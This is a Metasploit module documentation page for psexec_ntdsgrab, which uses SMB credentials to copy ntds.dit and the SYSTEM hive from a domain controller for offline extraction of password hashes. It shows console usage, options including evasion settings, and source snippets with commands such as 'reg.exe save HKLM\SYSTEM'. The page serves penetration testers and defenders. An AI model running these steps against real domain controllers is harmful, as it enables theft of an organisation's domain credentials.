PsExec NTDS.dit And SYSTEM Hive Download Utility - Metasploit
This page contains detailed information about how to use the auxiliary/admin/smb/psexec_ntdsgrab metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: PsExec NTDS.dit And SYSTEM Hive Download Utility
Module: auxiliary/admin/smb/psexec_ntdsgrab
Source code: modules/auxiliary/admin/smb/psexec_ntdsgrab.rb
Disclosure date: -
Last modification time: 2017-08-01 22:39:14 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: -
This module authenticates to an Active Directory Domain Controller and creates a volume shadow copy of the %SYSTEMDRIVE%. It then pulls down copies of the ntds.dit file as well as the SYSTEM hive and stores them. The ntds.dit and SYSTEM hive copy can be used in combination with other tools for offline extraction of AD password hashes. All of this is done without uploading a single binary to the target host.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/admin/smb/psexec_ntdsgrab
msf auxiliary(psexec_ntdsgrab) > show targets
... a list of targets ...
msf auxiliary(psexec_ntdsgrab) > set TARGET target-id
msf auxiliary(psexec_ntdsgrab) > show options
... show and set options ...
msf auxiliary(psexec_ntdsgrab) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the admin/smb/psexec_ntdsgrab auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/smb/psexec_ntdsgrab
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show info
Name: PsExec NTDS.dit And SYSTEM Hive Download Utility
Module: auxiliary/admin/smb/psexec_ntdsgrab
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Royce Davis <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser no The username to authenticate as
VSCPATH no The path to the target Volume Shadow Copy
WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT)
Description:
This module authenticates to an Active Directory Domain Controller
and creates a volume shadow copy of the %SYSTEMDRIVE%. It then pulls
down copies of the ntds.dit file as well as the SYSTEM hive and
stores them. The ntds.dit and SYSTEM hive copy can be used in
combination with other tools for offline extraction of AD password
hashes. All of this is done without uploading a single binary to the
target host.
References:
http://sourceforge.net/projects/smbexec
https://www.optiv.com/blog/owning-computers-without-shell-access
Module Options
This is a complete list of options available in the admin/smb/psexec_ntdsgrab auxiliary module:
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show options
Module options (auxiliary/admin/smb/psexec_ntdsgrab):
Name Current Setting Required Description
---- --------------- -------- -----------
CREATE_NEW_VSC false no If true, attempts to create a volume shadow copy
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser no The username to authenticate as
VSCPATH no The path to the target Volume Shadow Copy
WINPATH WINDOWS yes The name of the Windows directory (examples: WINDOWS, WINNT)
Advanced Options
Here is a complete list of advanced options supported by the admin/smb/psexec_ntdsgrab auxiliary module:
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show advanced
Module advanced options (auxiliary/admin/smb/psexec_ntdsgrab):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
DCERPC::ReadTimeout 10 yes The number of seconds to wait for DCERPC responses
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+ when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SERVICE_PERSIST false yes Create an Auto run service and do not remove it.
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false, the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::ProtocolVersion 1,2,3 yes One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/smb/psexec_ntdsgrab module can do:
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the admin/smb/psexec_ntdsgrab auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/smb/psexec_ntdsgrab) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
DCERPC::fake_bind_multi true no Use multi-context bind calls
DCERPC::fake_bind_multi_append 0 no Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend 0 no Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size 4096 yes Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio rw no Use a different delivery method for accessing named pipes (Accepted: rw, trans)
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Unable to authenticate with given credentials: <AUTHERROR>
- Failed to find a volume shadow copy. Issuing cleanup command sequence.
- No VSC Found.
- Unable to determine if VSS is enabled: <VSSCHECKERROR>
- Unable to create the Volume Shadow Copy: <VSCERROR>
- Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: <NTDSCOPYERROR>
- Unable to copy the SYSTEM hive file: <HIVEERROR>
- Unable to downlaod ntds.dit: <NTDSDOWNLOADERROR>
- Unable to download SYSTEM hive: <SYSDOWNLOADERROR>
- Could not determine the exact path to the VSC check your WINPATH
- Unable to cleanup <FILE>. Error: <CLEANUPERROR>
- Unable to cleanup. Maybe you'll need to manually remove <VALUE> from the target.
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to authenticate with given credentials: <AUTHERROR>
Here is a relevant code snippet related to the "Unable to authenticate with given credentials: <AUTHERROR>" error message:
57: if connect
58: # Try and authenticate with given credentials
59: begin
60: smb_login
61: rescue StandardError => autherror
62: print_error("Unable to authenticate with given credentials: #{autherror}")
63: return
64: end
65: # If a VSC was specified then don't try and create one
66: if datastore['VSCPATH'].length > 0
67: print_status("Attempting to copy NTDS.dit from #{datastore['VSCPATH']}")
Failed to find a volume shadow copy. Issuing cleanup command sequence.
Here is a relevant code snippet related to the "Failed to find a volume shadow copy. Issuing cleanup command sequence." error message:
77: if vscpath
78: if copy_ntds(vscpath, text) and copy_sys_hive
79: download_ntds((datastore['WINPATH'] + "\\Temp\\ntds"))
80: download_sys_hive((datastore['WINPATH'] + "\\Temp\\sys"))
81: else
82: print_error("Failed to find a volume shadow copy. Issuing cleanup command sequence.")
83: end
84: end
85: cleanup_after(bat, text, "\\#{datastore['WINPATH']}\\Temp\\ntds", "\\#{datastore['WINPATH']}\\Temp\\sys")
86: disconnect
87: end
No VSC Found.
Here is a relevant code snippet related to the "No VSC Found." error message:
98: result = psexec(command)
99: data = smb_read_file(datastore['SMBSHARE'], @ip, text)
100: vscs = []
101: data.each_line { |line| vscs << line if line.include?("GLOBALROOT") }
102: if vscs.empty?
103: print_status("No VSC Found.")
104: return nil
105: end
106: vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp
107: print_good("Volume Shadow Copy exists on #{vscpath}")
108: return vscpath
Unable to determine if VSS is enabled: <VSSCHECKERROR>
Here is a relevant code snippet related to the "Unable to determine if VSS is enabled: <VSSCHECKERROR>" error message:
105: end
106: vscpath = prepath + vscs[vscs.length - 1].to_s.split("ShadowCopy")[1].to_s.chomp
107: print_good("Volume Shadow Copy exists on #{vscpath}")
108: return vscpath
109: rescue StandardError => vsscheckerror
110: print_error("Unable to determine if VSS is enabled: #{vsscheckerror}")
111: return nil
112: end
113: end
114:
115:
Unable to create the Volume Shadow Copy: <VSCERROR>
Here is a relevant code snippet related to the "Unable to create the Volume Shadow Copy: <VSCERROR>" error message:
121: print_status("Creating Volume Shadow Copy")
122: out = psexec(command)
123: #Get path to Volume Shadow Copy
124: vscpath = get_vscpath(text)
125: rescue StandardError => vscerror
126: print_error("Unable to create the Volume Shadow Copy: #{vscerror}")
127: return nil
128: end
129: if vscpath
130: print_good("Volume Shadow Copy created on #{vscpath}")
131: return vscpath
Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: <NTDSCOPYERROR>
Here is a relevant code snippet related to the "Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: <NTDSCOPYERROR>" error message:
144: if !check_ntds(text)
145: return false
146: end
147: return true
148: rescue StandardError => ntdscopyerror
149: print_error("Unable to copy ntds.dit from Volume Shadow Copy.Make sure target is a Windows Domain Controller: #{ntdscopyerror}")
150: return false
151: end
152: end
153:
154:
Unable to copy the SYSTEM hive file: <HIVEERROR>
Here is a relevant code snippet related to the "Unable to copy the SYSTEM hive file: <HIVEERROR>" error message:
170: begin
171: # Try to crate the sys hive copy
172: command = "%COMSPEC% /C reg.exe save HKLM\\SYSTEM %WINDIR%\\Temp\\sys /y"
173: return psexec(command)
174: rescue StandardError => hiveerror
175: print_error("Unable to copy the SYSTEM hive file: #{hiveerror}")
176: return false
177: end
178: end
179:
180:
Unable to downlaod ntds.dit: <NTDSDOWNLOADERROR>
Here is a relevant code snippet related to the "Unable to downlaod ntds.dit: <NTDSDOWNLOADERROR>" error message:
188: data = remotefile.read
189: remotefile.close
190: ntds_path = store_loot("psexec.ntdsgrab.ntds", "application/octet-stream", @ip, data, "ntds.dit")
191: print_good("ntds.dit stored at #{ntds_path}")
192: rescue StandardError => ntdsdownloaderror
193: print_error("Unable to downlaod ntds.dit: #{ntdsdownloaderror}")
194: return ntdsdownloaderror
195: end
196: simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
197: end
198:
Unable to download SYSTEM hive: <SYSDOWNLOADERROR>
Here is a relevant code snippet related to the "Unable to download SYSTEM hive: <SYSDOWNLOADERROR>" error message:
207: data = remotefile.read
208: remotefile.close
209: hive_path = store_loot("psexec.ntdsgrab.hive", "application/octet-stream", @ip, data, "system-hive")
210: print_good("SYSTEM hive stored at #{hive_path}")
211: rescue StandardError => sysdownloaderror
212: print_error("Unable to download SYSTEM hive: #{sysdownloaderror}")
213: return sysdownloaderror
214: end
215: simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
216: end
217:
Could not determine the exact path to the VSC check your WINPATH
Here is a relevant code snippet related to the "Could not determine the exact path to the VSC check your WINPATH" error message:
225: output.each_line do |line|
226: vsc += line if line.include?("GLOBALROOT")
227: end
228: return prepath + vsc.split("ShadowCopy")[1].chomp
229: rescue StandardError => vscpath_error
230: print_error("Could not determine the exact path to the VSC check your WINPATH")
231: return nil
232: end
233: end
234:
235: # Removes files created during execution.
Unable to cleanup <FILE>. Error: <CLEANUPERROR>
Here is a relevant code snippet related to the "Unable to cleanup <FILE>. Error: <CLEANUPERROR>" error message:
240: begin
241: if smb_file_exist?(file)
242: smb_file_rm(file)
243: end
244: rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
245: print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
246: end
247: end
248: left = files.collect{ |f| smb_file_exist?(f) }
249: if left.any?
250: print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
Unable to cleanup. Maybe you'll need to manually remove <VALUE> from the target.
Here is a relevant code snippet related to the "Unable to cleanup. Maybe you'll need to manually remove <VALUE> from the target." error message:
245: print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
246: end
247: end
248: left = files.collect{ |f| smb_file_exist?(f) }
249: if left.any?
250: print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
251: else
252: print_good("Cleanup was successful")
253: end
254: simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
255: end
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6644 Merged Pull Request: Preserve default types for datastore options
- #6526 Merged Pull Request: Peers for the peer god
- #5059 Merged Pull Request: Yard doc corrections
- #4768 Merged Pull Request: Reorganize SMB mixins
- #2525 Merged Pull Request: Change module boilerplate
References
- CVE: Not available
- http://sourceforge.net/projects/smbexec
- https://www.optiv.com/blog/owning-computers-without-shell-access
See Also
Check also the following modules related to this module:
- exploit/windows/local/current_user_psexec
- exploit/windows/smb/ms17_010_psexec
- exploit/windows/smb/psexec
- auxiliary/gather/ibm_sametime_enumerate_users
- auxiliary/gather/kerberos_enumusers
- auxiliary/scanner/finger/finger_users
- auxiliary/scanner/sap/sap_mgmt_con_extractusers
- auxiliary/scanner/smb/smb_enumusers
- auxiliary/scanner/smb/smb_enumusers_domain
- auxiliary/scanner/snmp/snmp_enumusers
- auxiliary/scanner/snmp/xerox_workcentre_enumusers
- auxiliary/scanner/ssh/cerberus_sftp_enumusers
- auxiliary/scanner/ssh/ssh_enumusers
- auxiliary/scanner/vmware/vmware_enum_users
- exploit/windows/fileformat/actfax_import_users_bof
- post/linux/gather/enum_users_history
- post/windows/gather/enum_ad_users
- post/windows/gather/enum_domain_group_users
- post/windows/gather/enum_domain_users
- post/windows/gather/enum_logged_on_users
- auxiliary/admin/smb/check_dir_file
- auxiliary/admin/smb/delete_file
- auxiliary/admin/smb/download_file
- auxiliary/admin/smb/list_directory
- auxiliary/admin/smb/ms17_010_command
- auxiliary/admin/smb/samba_symlink_traversal
- auxiliary/admin/smb/upload_file
- auxiliary/admin/smb/webexec_command
- auxiliary/scanner/smb/psexec_loggedin_users
Authors
- Royce Davis <rdavis[at]accuvant.com>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.